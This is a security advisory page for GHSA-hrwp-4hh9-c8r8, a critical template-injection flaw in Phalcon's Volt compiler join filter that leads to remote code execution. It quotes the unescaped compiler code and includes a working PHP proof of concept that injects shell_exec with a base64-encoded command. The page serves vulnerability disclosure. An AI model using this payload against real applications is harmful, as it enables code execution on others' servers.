GHSA-hrwp-4hh9-c8r8

Suggest an improvement
Source
https://github.com/advisories/GHSA-hrwp-4hh9-c8r8
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-hrwp-4hh9-c8r8/GHSA-hrwp-4hh9-c8r8.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-hrwp-4hh9-c8r8
Aliases
Published
2026-08-21T20:55:56Z
Modified
2026-09-11T05:15:04Z
Severity
  • 9.2 (Critical) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)
Details

Summary

The Volt template compiler in Phalcon generates the PHP for the join filter by string-concatenating the filter's raw template-literal argument bytes with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose join arguments are attacker-influenced can therefore break out of the generated join('…') call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and require()s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.

Details

Root cause

phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546:

case "join":
    return "join('" . funcArguments[1]["expr"]["value"]
        . "', " . funcArguments[0]["expr"]["value"] . ")";

funcArguments[1]["expr"]["value"] (the separator) and funcArguments[0]["expr"]["value"] (the piped array) are the raw values of the parsed template tokens. Unlike every other expression in the compiler, they are not routed through expression() and receive no escaping: the separator value is spliced verbatim inside the join('' quotes with no neutralisation of ', and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.

Generated-C ground truth -> build/phalcon/phalcon.zep.c (Phalcon 5.15.0):

ZEPHIR_CONCAT_SVSVS(return_value, "join('", &_19$$24, "', ", &_22$$24, ")");

i.e. literally "join('" + separator + "', " + array + ")" with both attacker-controlled fragments unescaped.

The compiled output is then written to a cache file and required by Phalcon\Mvc\View\Engine\Volt::render(), so any PHP spliced in by the attacker runs at render time.

PoC

<?php
use Phalcon\Mvc\View\Engine\Volt\Compiler;

$cmd = 'id; uname -a; hostname';

$b64 = base64_encode($cmd);
$tpl = "{{ ['x'] | join(\"',[]); echo shell_exec(base64_decode('$b64')); //\") }}";

$compiled = (new Compiler())->compileString($tpl);

$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';
file_put_contents($f, $compiled);
include $f;
unlink($f);

image

Impact

Where an application compiles Volt source that is wholly or partly attacker-controlled, this yields remote code execution in the web-server process.

Database specific
{
    "cwe_ids": [
        "CWE-1336",
        "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-21T20:55:56Z",
    "nvd_published_at": "2026-08-21T21:17:00Z",
    "severity": "CRITICAL"
}
References

Affected packages

Packagist / phalcon/cphalcon

Package

Name
phalcon/cphalcon
Purl
pkg:composer/phalcon/cphalcon

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
5.16.0

Affected versions

v3.*
v3.0.0
v3.0.1
v3.0.2
v3.0.3
v3.0.4
v3.1.0-alpha1
v3.1.0-alpha2
v3.1.0
v3.1.1
v3.1.2
v3.2.0
v3.2.1
v3.2.2
v3.2.3
v3.2.4
v3.3.0
v3.3.1
v3.3.2
v3.4.0
v3.4.1
v3.4.2
v3.4.3
v3.4.4
v3.4.5
v4.*
v4.0.0-alpha1
v4.0.0-alpha.2
v4.0.0-alpha.3
v4.0.0-alpha.4
v4.0.0-alpha.5
v4.0.0-beta.1
v4.0.0-beta.2
v4.0.0-rc.1
v4.0.0-rc.2
v4.0.0-rc.3
v4.0.0
v4.0.1
v4.0.2
v4.0.3
v4.0.4
v4.0.5
v4.0.6
v4.1.0
v4.1.1
v4.1.2
v4.1.3
v5.*
v5.0.0-alpha.1
v5.0.0-alpha.2
v5.0.0alpha3
v5.0.0alpha4
v5.0.0alpha5
v5.0.0alpha6
v5.0.0alpha7
v5.0.0beta1
v5.0.0beta2
v5.0.0beta3
v5.0.0RC1
v5.0.0RC2
v5.0.0RC3
v5.0.0RC4
v5.0.0
v5.0.1
v5.0.2
v5.0.3
v5.0.4
v5.0.5
v5.1.0
v5.1.1
v5.1.2
v5.1.3
v5.1.4
v5.2.0
v5.2.1
v5.2.2
v5.2.3
v5.3.0
v5.3.1
v5.4.0
v5.5.0
v5.6.0
v5.6.1
v5.6.2
v5.7.0
v5.8.0
v5.11.0
v5.11.1
v5.12.1
v5.13.0
v5.14.0
v5.14.1
v5.14.2
v5.15.0
5.*
5.9.0
5.9.1
5.9.2
5.9.3
5.10.0
5.12.0

Database specific

last_known_affected_version_range
"<= 5.15.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-hrwp-4hh9-c8r8/GHSA-hrwp-4hh9-c8r8.json"